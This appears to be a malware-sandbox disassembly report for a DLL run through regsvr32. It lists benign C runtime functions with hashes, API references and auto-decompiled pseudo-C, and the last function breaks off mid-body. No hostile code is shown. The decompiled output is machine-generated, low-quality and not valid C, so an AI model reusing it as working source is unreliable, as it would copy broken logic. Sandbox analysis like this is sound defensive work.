Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction ID: a908f33eec800d0b641dcce84a446a4f1bc570cb1104d1739574f535c1af449d
Opcode Fuzzy Hash: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction Fuzzy Hash: 2D115771A2D6468AE7949B54E948B6E73E0F380344F605125F6DD43AA8C7BED508CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF
_wcstombs_s_l, xrefs: 000007FEF9D37EE6

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction ID: 92758ea50bb160a3fa02acdedbd4276cd578df270f1ec03c6948689f63d256e2
Opcode Fuzzy Hash: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction Fuzzy Hash: B7110331A1CA83C9F7A09B54EC047AEB6E0F340345F604425D6C8466A4CBBEE8888B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction ID: a509fa70e7a1a5ff7154c4a485401b757d9bccf253ee3a6eb315a1ba73516cba
Opcode Fuzzy Hash: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction Fuzzy Hash: 25012D21A2C64282F3D09B65EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018A01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3
_vsnprintf_helper, xrefs: 000007FEF9D320EC

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction ID: 5c692777b4ebe1842fa8b4633668c7a74dcbf255a9000a4830a35d89f8dfec26
Opcode Fuzzy Hash: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction Fuzzy Hash: 64113571E086469AF7A08B28ED047BE62E0F344708F608225A7EC076F5D77EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B
(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049
_vsnprintf_helper, xrefs: 000007FEF9D32042

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction ID: 0384ac4a385dd8b2ed67f657b87bd2987707cc06f4fd1891b24df9f5e25f1ad6
Opcode Fuzzy Hash: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction Fuzzy Hash: D7010832E0C646D6F7A08B68EC057AD66D0B380354F704225A69C066F9DB7EE585CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95
_msize_dbg, xrefs: 000007FEF9D25A9C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction ID: fd38c362069ef75f6546e890191a2209ff1da2573c153e25103ddfba7490d183
Opcode Fuzzy Hash: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction Fuzzy Hash: EA011A3190964A86EBA09F14EC417AE32E0F355328FA14226D29C466E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666
_vsnprintf_s_l, xrefs: 000007FEF9D3266D

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction ID: 02d1b78a9e545c30370c255a3c9a69dd209a03738a12318584891449022be9b6
Opcode Fuzzy Hash: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction Fuzzy Hash: 8F017831E0C64ACAF7E08B54EC847AD26E0F794394FB09535A6DD466F8CB7EE5448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

mscoree.dll, xrefs: 000007FEF9D27498
CorExitProcess, xrefs: 000007FEF9D274B2

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction ID: 7d77de13c6c7ff31230b68e177806ee2c45e09dad43843c6dfa61805c8a48305
Opcode Fuzzy Hash: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction Fuzzy Hash: 97F0AC32918A4282D674DB18F94836DB7F0F388348F644125D6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6ec4cabc2720
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

z, xrefs: 000007FEF9D2A9A6
, xrefs: 000007FEF9D2A6DE

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction ID: 4853ceba84ddbb230417778543f3b3b02ea2aa858227094ccd1c634e11d49f23
Opcode Fuzzy Hash: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
Instruction Fuzzy Hash: C8B1B77261CAC0CAD7B58B29E8807AFB7E0F388785F155125DAC983B99DB2DD4429F00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D34960 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 35%

			E000007FE7FEF9D34960(void* __ecx, long long __rcx, long long __rdx, long long __r8, long long __r9, void* _a8, long long _a16, long long _a24, long long _a32, signed int _a40, intOrPtr _a48, long long _a56, long long _a64) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				char _v60;
				char _v64;
				signed int _v72;
				char _v80;
				char _v88;
				long long _v96;
				intOrPtr _v104;
				long long _v112;
				long long _v120;
				long long _v128;
				signed int _v136;
				void* _t106;
				void* _t117;
				void* _t118;
				void* _t119;
				void* _t120;
				void* _t121;
				long long _t153;
				signed int _t161;
				signed int _t165;
				long long _t166;
				long long _t169;
				long long _t170;
				intOrPtr _t174;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_t153 = _a8;
				if ( *_t153 != 0x80000003) goto 0xf9d34990;
				goto 0xf9d34cc6;
				0xf9d24000();
				if ( *((long long*)(_t153 + 0xe0)) == 0) goto 0xf9d34a33;
				0xf9d24000();
				_v56 = _t153;
				E000007FE7FEF9D23D00(_t106);
				if ( *((intOrPtr*)(_v56 + 0xe0)) == _t153) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434f4d) goto 0xf9d34a33;
				if ( *_a8 == 0xe0434352) goto 0xf9d34a33;
				_v120 = _a64;
				_v128 = _a56;
				_v136 = _a40;
				if (E000007FE7FEF9D2E9B0(_a8, _a16, _a24, _a32) == 0) goto 0xf9d34a33;
				goto 0xf9d34cc6;
				if ( *((intOrPtr*)(_a40 + 0xc)) == 0) goto 0xf9d34a43;
				goto 0xf9d34a48;
				E000007FE7FEF9D2CF80(_a40);
				_v120 = _a32;
				_v128 =  &_v60;
				_t161 =  &_v64;
				_v136 = _t161;
				r9d = _a48;
				r8d = _a56;
